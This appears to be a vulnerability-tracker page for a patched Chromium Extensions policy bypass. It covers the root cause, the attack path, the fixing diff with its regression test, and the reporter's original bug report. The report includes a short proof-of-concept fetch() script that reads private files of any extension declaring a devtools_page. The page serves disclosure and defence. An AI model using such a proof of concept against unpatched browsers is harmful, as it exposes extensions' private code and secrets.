Low watch CVSS 6.5 chrome Policy Bypass 📄 Reporter bug report 🔧 Commit mapped

Overview

Low
Severity
6.5
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactPolicy bypass in Extensions
DescriptionPolicy bypass in Extensions
ComponentExtensions
Sub-componentExtensions
Bug ClassPolicy Bypass
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker428397712
Fix commit784d50d3c93d (chromium/src) +88/-5
CWECWE-288
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
CISA KEVNot listed
CreditedThomas Greiner
Reported2025-06-29 · bounty $1000 (per vendor advisory)
Fix landed2025-09-08 (public git)
Disclosed2025-10-28
Patch gap50 days — fix public in source before the advisory

Background

Web-accessible resources
the manifest list of files inside an extension that other origins may load through chrome-extension://<id>/... URLs; anything not listed should be blocked to outside initiators.
`devtools_page`
a manifest key that makes an extension a DevTools extension; its page is loaded inside the DevTools front end, which runs under the devtools:// scheme (content::kChromeDevToolsScheme).
Cross-renderer resource load check
the browser-side logic in chrome_url_request_util.cc that decides whether a request for an extension resource coming from outside the extension is allowed, writing the answer through a bool* allowed out-parameter.
`request_initiator`
the origin that started a network request (network::ResourceRequest::request_initiator); it is empty for browser-initiated requests.

Root Cause Analysis

The patched hunk is in a function in chrome/browser/extensions/chrome_url_request_util.cc whose name is not shown in the diff. The bool* allowed out-parameter suggests it is the cross-renderer resource-load check (inferred). After the explicit web-accessible-resource checks, the old code had a fallback. The removed comment states its intent: when an extension has no explicitly marked web-accessible resources, “the load should be allowed only if it is by DevTools”, approximated by “checking if the extension contains a DevTools page”. In practice, the code set *allowed = true for any extension with a non-empty chrome_manifest_urls::GetDevToolsPage(extension), without looking at who made the request. So every resource of a DevTools extension, including manifest.json in the regression test, was readable by any initiator that reached this check.

The fix keeps the DevTools-page condition but only allows the load when request.request_initiator is missing (browser-initiated) or its scheme is content::kChromeDevToolsScheme. Every other initiator now falls through to “couldn’t determine”, and the load is denied as the test expects (“Failed to fetch”).

The patch tightens the check.

Key insight
The “loaded by DevTools” exemption was approximated by asking only whether the target extension has a DevTools page, without checking whether DevTools was actually the requester. The fix adds the missing initiator check, so only a devtools:// initiator or a browser-initiated request gets the exemption.

Attack Path

  1. Target a DevTools extension The victim has an installed extension that declares devtools_page and lists no web-accessible resources, so all of its files should be private.
  2. Issue a cross-origin fetch Another context, which in the regression test is a separate extension’s background service worker, calls fetch('chrome-extension://<id>/manifest.json') against the DevTools extension.
  3. Hit the overly broad fallback The browser-side check finds no matching web-accessible resource but sees a non-empty GetDevToolsPage(), and before the patch it set *allowed = true without checking the initiator.
  4. Read private extension content The fetch succeeds and returns the file body, exposing resources the extension never made public. Fingerprinting the extension or reading its bundled code and data are possible uses (inferred).

Impact Assessment

An outside party can read files packaged in a DevTools-enabled extension that should be private, bypassing the web-accessible-resources policy enforced in the browser process. The regression test shows this from another installed extension, which requires no compromised renderer or flags. Whether ordinary web pages could reach the same fallback is not shown by the test and is (inferred). The precondition is that the victim has an extension with a devtools_page installed. The vendor rates this Low severity (“Policy bypass in Extensions”), and the provided metadata includes no exploited-in-the-wild statement.

Files Changed

  • chrome/browser/extensions/api/devtools/devtools_apitest.cc
  • chrome/browser/extensions/chrome_url_request_util.cc
  • chrome/test/BUILD.gn

Audit Directions

  • Capability-based approximations of requester identity
    Look for checks that grant access based on a property of the target (“extension has X page”, “origin has permission Y”) where the real intent concerns the requester, and confirm the initiator, process or origin is actually verified.
  • Other fallbacks in extension resource gating
    Review the remaining branches of the same function and of extension_protocols.cc for “allow by default” paths (component extensions, hosted apps, missing-initiator cases) that can be reached by unrelated extensions or web pages.
  • Empty-initiator trust
    The fix still treats a missing request_initiator as browser-initiated. Audit whether any renderer- or extension-controlled path can produce requests without an initiator, such as navigations, service-worker-forwarded fetches or redirects, and so still hit the allow branch.
From 784d50d3c93d2f99ed5268a91fa94496bac7a665 Mon Sep 17 00:00:00 2001
From: Devlin Cronin <rdevlin.cronin@chromium.org>
Date: Mon, 08 Sep 2025 13:23:29 -0700
Subject: [PATCH] [Extensions] Fix devtools accesible resources issue

There's a bug where resources of devtools extensions are made
improperly available. Fix it, and add a regression test.

Bug: 428397712
Change-Id: Ib39ecbe64c571340ec365aa118faca43b643cd8c
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/6901326
Commit-Queue: Devlin Cronin <rdevlin.cronin@chromium.org>
Reviewed-by: Danil Somsikov <dsv@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1512635}
---

diff --git a/chrome/browser/extensions/api/devtools/devtools_apitest.cc b/chrome/browser/extensions/api/devtools/devtools_apitest.cc
new file mode 100644
index 0000000..6c839513
--- /dev/null
+++ b/chrome/browser/extensions/api/devtools/devtools_apitest.cc
@@ -0,0 +1,78 @@
+// Copyright 2025 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "base/strings/stringprintf.h"
+#include "base/values.h"
+#include "chrome/browser/extensions/extension_apitest.h"
+#include "chrome/browser/profiles/profile.h"
+#include "content/public/test/browser_test.h"
+#include "extensions/browser/background_script_executor.h"
+#include "extensions/test/test_extension_dir.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+namespace extensions {
+
+using DevtoolsApiTest = ExtensionApiTest;
+
+// Tests that other extensions are not allowed to fetch resources of a devtools
+// extension that does not specify any web-accessible resources.
+// Regression test for https://crbug.com/428397712.
+IN_PROC_BROWSER_TEST_F(DevtoolsApiTest,
+                       FetchBlockedWithoutWebAccessibleResources) {
+  // Load an extension that specifies a devtools page.
+  TestExtensionDir devtools_extension_dir;
+  devtools_extension_dir.WriteManifest(R"({
+    "name": "Devtools Extension",
+    "version": "1.0",
+    "manifest_version": 3,
+    "devtools_page": "devtools.html"
+  })");
+  devtools_extension_dir.WriteFile(FILE_PATH_LITERAL("devtools.html"), "");
+
+  const Extension* devtools_extension =
+      LoadExtension(devtools_extension_dir.UnpackedPath());
+  ASSERT_TRUE(devtools_extension);
+
+  // Load a second extension that will attempt to fetch content from the first.
+  TestExtensionDir fetching_extension_dir;
+  fetching_extension_dir.WriteManifest(R"({
+    "name": "Background Extension",
+    "version": "1.0",
+    "manifest_version": 3,
+    "background": {
+      "service_worker": "background.js"
+    }
+  })");
+  fetching_extension_dir.WriteFile(FILE_PATH_LITERAL("background.js"), "");
+
+  const Extension* fetching_extension =
+      LoadExtension(fetching_extension_dir.UnpackedPath());
+  ASSERT_TRUE(fetching_extension);
+
+  // A script that will attempt to fetch the content of the manifest from the
+  // devtools extension.
+  std::string script = base::StringPrintf(
+      R"((async () => {
+           const url = 'chrome-extension://%s/manifest.json';
+           try {
+             const response = await fetch(url);
+             const manifestContent = await response.text();
+             chrome.test.sendScriptResult(manifestContent);
+           } catch (e) {
+             chrome.test.sendScriptResult(e.message);
+           }
+         })())",
+      devtools_extension->id().c_str());
+
+  BackgroundScriptExecutor executor(profile());
+  base::Value result = executor.ExecuteScript(
+      fetching_extension->id(), script,
+      BackgroundScriptExecutor::ResultCapture::kSendScriptResult);
+
+  // The fetch should have failed.
+  ASSERT_TRUE(result.is_string());
+  EXPECT_THAT(result.GetString(), testing::HasSubstr("Failed to fetch"));
+}
+
+}  // namespace extensions
diff --git a/chrome/browser/extensions/chrome_url_request_util.cc b/chrome/browser/extensions/chrome_url_request_util.cc
index 0f1884a..d5ad7c0 100644
--- a/chrome/browser/extensions/chrome_url_request_util.cc
+++ b/chrome/browser/extensions/chrome_url_request_util.cc
@@ -18,6 +18,7 @@
 #include "base/strings/string_view_util.h"
 #include "base/task/thread_pool.h"
 #include "chrome/common/chrome_paths.h"
+#include "content/public/common/url_constants.h"
 #include "extensions/browser/component_extension_resource_manager.h"
 #include "extensions/browser/extension_protocols.h"
 #include "extensions/browser/extensions_browser_client.h"
@@ -266,13 +267,16 @@
     return true;
   }
 
-  // If there aren't any explicitly marked web accessible resources, the
-  // load should be allowed only if it is by DevTools. A close approximation is
-  // checking if the extension contains a DevTools page.
   if (extension &&
       !chrome_manifest_urls::GetDevToolsPage(extension).is_empty()) {
-    *allowed = true;
-    return true;
+    // Allow the load if the initiator is either a devtools origin, or if
+    // there is no initiator (in which case it was likely a browser-initiated
+    // request).
+    if (!request.request_initiator ||
+        request.request_initiator->scheme() == content::kChromeDevToolsScheme) {
+      *allowed = true;
+      return true;
+    }
   }
 
   // Couldn't determine if the resource is allowed or not.
diff --git a/chrome/test/BUILD.gn b/chrome/test/BUILD.gn
index 9d59cad3..277716a6 100644
--- a/chrome/test/BUILD.gn
+++ b/chrome/test/BUILD.gn
@@ -1558,6 +1558,7 @@
       "../browser/extensions/api/declarative_net_request/declarative_net_request_apitest.cc",
       "../browser/extensions/api/declarative_net_request/declarative_net_request_browsertest.cc",
       "../browser/extensions/api/developer_private/developer_private_apitest.cc",
+      "../browser/extensions/api/devtools/devtools_apitest.cc",
       "../browser/extensions/api/dns/dns_apitest.cc",
       "../browser/extensions/api/extension_action/extension_action_apitest.cc",
       "../browser/extensions/api/extension_action/test_icon_image_observer.cc",
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/chrome/browser/extensions/api/devtools/devtools_apitest.cc b/chrome/browser/extensions/api/devtools/devtools_apitest.cc
new file mode 100644
index 0000000..6c839513
--- /dev/null
+++ b/chrome/browser/extensions/api/devtools/devtools_apitest.cc
@@ -0,0 +1,78 @@
+// Copyright 2025 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "base/strings/stringprintf.h"
+#include "base/values.h"
+#include "chrome/browser/extensions/extension_apitest.h"
+#include "chrome/browser/profiles/profile.h"
+#include "content/public/test/browser_test.h"
+#include "extensions/browser/background_script_executor.h"
+#include "extensions/test/test_extension_dir.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+namespace extensions {
+
+using DevtoolsApiTest = ExtensionApiTest;
+
+// Tests that other extensions are not allowed to fetch resources of a devtools
+// extension that does not specify any web-accessible resources.
+// Regression test for https://crbug.com/428397712.
+IN_PROC_BROWSER_TEST_F(DevtoolsApiTest,
+                       FetchBlockedWithoutWebAccessibleResources) {
+  // Load an extension that specifies a devtools page.
+  TestExtensionDir devtools_extension_dir;
+  devtools_extension_dir.WriteManifest(R"({
+    "name": "Devtools Extension",
+    "version": "1.0",
+    "manifest_version": 3,
+    "devtools_page": "devtools.html"
+  })");
+  devtools_extension_dir.WriteFile(FILE_PATH_LITERAL("devtools.html"), "");
+
+  const Extension* devtools_extension =
+      LoadExtension(devtools_extension_dir.UnpackedPath());
+  ASSERT_TRUE(devtools_extension);
+
+  // Load a second extension that will attempt to fetch content from the first.
+  TestExtensionDir fetching_extension_dir;
+  fetching_extension_dir.WriteManifest(R"({
+    "name": "Background Extension",
+    "version": "1.0",
+    "manifest_version": 3,
+    "background": {
+      "service_worker": "background.js"
+    }
+  })");
+  fetching_extension_dir.WriteFile(FILE_PATH_LITERAL("background.js"), "");
+
+  const Extension* fetching_extension =
+      LoadExtension(fetching_extension_dir.UnpackedPath());
+  ASSERT_TRUE(fetching_extension);
+
+  // A script that will attempt to fetch the content of the manifest from the
+  // devtools extension.
+  std::string script = base::StringPrintf(
+      R"((async () => {
+           const url = 'chrome-extension://%s/manifest.json';
+           try {
+             const response = await fetch(url);
+             const manifestContent = await response.text();
+             chrome.test.sendScriptResult(manifestContent);
+           } catch (e) {
+             chrome.test.sendScriptResult(e.message);
+           }
+         })())",
+      devtools_extension->id().c_str());
+
+  BackgroundScriptExecutor executor(profile());
+  base::Value result = executor.ExecuteScript(
+      fetching_extension->id(), script,
+      BackgroundScriptExecutor::ResultCapture::kSendScriptResult);
+
+  // The fetch should have failed.
+  ASSERT_TRUE(result.is_string());
+  EXPECT_THAT(result.GetString(), testing::HasSubstr("Failed to fetch"));
+}
+
+}  // namespace extensions
diff --git a/chrome/test/BUILD.gn b/chrome/test/BUILD.gn
index 9d59cad3..277716a6 100644
--- a/chrome/test/BUILD.gn
+++ b/chrome/test/BUILD.gn
@@ -1558,6 +1558,7 @@
       "../browser/extensions/api/declarative_net_request/declarative_net_request_apitest.cc",
       "../browser/extensions/api/declarative_net_request/declarative_net_request_browsertest.cc",
       "../browser/extensions/api/developer_private/developer_private_apitest.cc",
+      "../browser/extensions/api/devtools/devtools_apitest.cc",
       "../browser/extensions/api/dns/dns_apitest.cc",
       "../browser/extensions/api/extension_action/extension_action_apitest.cc",
       "../browser/extensions/api/extension_action/test_icon_image_observer.cc",
Loading diff…

Original Bug Report

reported by gr...@gmail.com

Files of extensions with developer tools page are exposed to other extensions

Steps to reproduce the problem

  1. Download attached ZIP file and extract its contents.
  2. Install each of the three browser extensions that it contains (i.e. “actor”, “target-with-devtools” and “target-without-devtools”).
  3. Open JavaScript console of “actor” extension’s service worker.
  4. Run the following script (replace “TARGET WITH DEVTOOLS” and “TARGET WITHOUT DEVTOOLS” with the extension ID of the respective extension):
async function getFileContent(extensionId, filename) {
    const resp = await fetch(`chrome-extension://${extensionId}/${filename}`);
    return await resp.text();
}

await getFileContent("TARGET WITH DEVTOOLS", "manifest.json")
// '{\n  "manifest_version": 3,\n  "version": "0.1",\n  "name": "Target (with developer tools)",\n  "devtools_page": "devtools.html"\n}\n'

await getFileContent("TARGET WITH DEVTOOLS", "file.txt")
// 'Target extension file (with developer tools panel)\n'

await getFileContent("TARGET WITHOUT DEVTOOLS", "manifest.json")
// Uncaught TypeError: Failed to fetch

await getFileContent("TARGET WITHOUT DEVTOOLS", "file.txt")
// Uncaught TypeError: Failed to fetch

Problem Description

Any extension (despite it not having the “management” permission, or any other permissions) is able to read the contents of files contained within any extension that specifies the “devtools_page” key in its manifest (despite those files not being declared web-accessible). This allows the actor extension to (a) detect that the target extension is present, and (b) extract any potential secrets contained within the target extension.

Summary

Files of extensions with developer tools page are exposed to other extensions

Custom Questions

Reporter credit:

Thomas Greiner

Additional Data

Category: Security
Chrome Channel: Stable
Regression: N/A \

View on issue tracker
Uploaded PoC files